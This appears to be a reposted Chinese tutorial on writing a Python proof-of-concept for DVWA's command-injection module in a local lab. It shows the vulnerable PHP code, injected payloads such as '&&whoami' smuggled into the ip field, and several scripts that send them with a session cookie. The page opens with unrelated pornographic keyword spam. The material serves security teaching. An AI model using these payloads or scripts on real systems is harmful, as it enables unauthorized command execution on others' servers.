日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

【黑客编程】手把手教你编写POC

發(fā)布時(shí)間:2023/12/20 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【黑客编程】手把手教你编写POC 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

1 概述

1.1 什么是POC?

POC(全稱(chēng): Proof of concept), 中文譯作概念驗(yàn)證。在安全界可以理解成漏洞驗(yàn)證程序,和一些應(yīng)用程序相比,PoC 是一段不完整的程序,僅僅是為了證明提出者的觀點(diǎn)的一段代碼。

1.2 實(shí)驗(yàn)環(huán)境

  • PyCharm

  • Python 3.8.0

  • lxml 4.8.0

  • requests 2.27.1

  • mihun 1.0

  • DVWA 1.10

1.3 安裝環(huán)境

pip install requests==2.27.1pip install bs4==0.0.1pip install lxml==4.8.0

2 分析漏洞

本次漏洞使用 DVWA(Damn Vulnerable Web App) 是一個(gè)用來(lái)進(jìn)行安全脆弱性鑒定的PHP/MySQL Web 應(yīng)用,旨在為安全專(zhuān)業(yè)人員測(cè)試自己的專(zhuān)業(yè)技能和工具提供合法的環(huán)境,幫助web開(kāi)發(fā)者更好的理解web應(yīng)用安全防范的過(guò)程。mihun滲透靶場(chǎng) 已經(jīng)集成DVWA。

http://mihun-ip/

2.1 漏洞分析

user: adminpassword: password 登入DVWA系統(tǒng),將 DVWA Security 修改為low,本次使用 Command Injection(命令注入) 模塊作為此次POC驗(yàn)證漏洞點(diǎn)

2.2 如何觸發(fā)漏洞?

Command Injection(命令注入) 模塊用于驗(yàn)證網(wǎng)絡(luò)是否通暢,由于對(duì)輸入的參數(shù)檢查不嚴(yán)格導(dǎo)致任意命令執(zhí)行

ping sechelper.cn && whoami

2.3 源碼分析

Command Injection 模塊源碼

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>";} ?>

分析上面源碼發(fā)現(xiàn)ip參數(shù)未過(guò)濾被帶入命令執(zhí)行函數(shù)shell_exec,利用linux/win命令特性拼接參數(shù) sechelper.cn&&whoami

偽代碼如下:

shell_exec( 'ping -c 4 ' . $target ) == shell_exec('ping -c 4 sechelper.cn&&whoami' );

3 編寫(xiě)驗(yàn)證程序

使用PyCharm 創(chuàng)建一個(gè)python項(xiàng)目

3.1 分析http數(shù)據(jù)包

使用火狐瀏覽器按 F12 開(kāi)啟Firebug開(kāi)發(fā)者模式,選擇網(wǎng)絡(luò) 重新觸發(fā)漏洞觀察http請(qǐng)求


?

文件列 /vulnerabilities/exec/ 是接口地址,方法是 POST ,域名是 192.168.17.5 ,完整http請(qǐng)求包如下:

POST /vulnerabilities/exec/ HTTP/1.1Host: 192.168.17.5User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 17Origin: http://192.168.17.5Connection: keep-aliveReferer: http://192.168.17.5/vulnerabilities/exec/Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=lowUpgrade-Insecure-Requests: 1 ip=192.168.17.5&Submit=Submit

3.2 構(gòu)建初版代碼

漏洞的信息已經(jīng)知道的差不多,開(kāi)始編寫(xiě)代碼

# coding=utf-8 import requests url = "http://192.168.17.5/vulnerabilities/exec/"data = {"ip": "sechelper.cn"} # 禁止跳轉(zhuǎn) allow_redirects = Falseresponse = requests.post(url, data, allow_redirects=False)print("狀態(tài): {}".format(response.status_code))print("302跳轉(zhuǎn)地址:{}".format(response.next.url))

執(zhí)行上面代碼返回狀態(tài) 302,不應(yīng)該是200 嗎?為什么返回 302 ?,觀察控制臺(tái)內(nèi)打印出的跳轉(zhuǎn)地址是登入界面,原來(lái)/vulnerabilities/exec/ 有授權(quán)驗(yàn)證,未授權(quán)會(huì)跳轉(zhuǎn)到登入界面

3.3 請(qǐng)求授權(quán)接口

怎么才能授權(quán)呢?

這里就不分析登入的過(guò)程了,登入信息保存在Cookie內(nèi),在請(qǐng)求頭內(nèi)加入 cookie

# coding=utf-8 import requests url = "http://192.168.17.5/vulnerabilities/exec/"# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=lowheaders = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}data = {"ip": "sechelper.cn&&whoami", "Submit": "Submit"} # 禁止跳轉(zhuǎn) allow_redirects = Falseresponse = requests.post(url, data, allow_redirects=False, headers=headers)print("狀態(tài): {}".format(response.status_code))print("結(jié)果:{}".format(response.text))

從結(jié)果內(nèi)看出代碼已經(jīng)可以訪問(wèn)并利用 /vulnerabilities/exec/ 存在漏洞接口,那么如何使用代碼快速識(shí)別出漏洞是否存在呢?

3.4 快速驗(yàn)證漏洞兩種方法

特征方式匹配返回結(jié)果里的特征檢測(cè)漏洞是否存在,匹配到 自定義 的字符則表示漏洞存在

# coding=utf-8 import requests url = "http://192.168.17.5/vulnerabilities/exec/"# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=lowheaders = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"} # 禁止跳轉(zhuǎn) allow_redirects = Falseresponse = requests.post(url, data, allow_redirects=False, headers=headers) if response.status_code == 200 and response.text.find("sechelper") != -1: print("[*] {} is weak".format(url))else: print("[x] {} is safe".format(url))print("Detection completed...")

關(guān)鍵輸出方式輸出關(guān)鍵信息人工判斷是否成功,一些復(fù)雜的漏洞利用需要使用這種方式

# coding=utf-8 import requests url = "http://192.168.17.5/vulnerabilities/exec/"# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=lowheaders = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}data = {"ip": "192.168.111.129&&echo sechelper", "Submit":"Submit"} # 禁止跳轉(zhuǎn) allow_redirects = Falseresponse = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5) if response.status_code == 200: from bs4 import BeautifulSoup soup = BeautifulSoup(response.text, 'lxml') # 在html找到第一個(gè)pre標(biāo)簽并返回,取出內(nèi)容就是命令執(zhí)行的結(jié)果 pre = soup.find("pre") print("[*] response {}".format(pre.text))print("Detection completed...")

4 結(jié)束語(yǔ)

滲透過(guò)程中自己寫(xiě)腳本可以更方便快捷的做一些事情,滲透測(cè)試很難全程自動(dòng)化,寫(xiě)一些小工具可以顯著提高滲透效率,想要做一個(gè)合格白帽子會(huì)一門(mén)語(yǔ)言是很有必要的。關(guān)注至察助安,專(zhuān)注網(wǎng)絡(luò)安全優(yōu)質(zhì)知識(shí)分享,無(wú)優(yōu)質(zhì),不分享。

總結(jié)

以上是生活随笔為你收集整理的【黑客编程】手把手教你编写POC的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。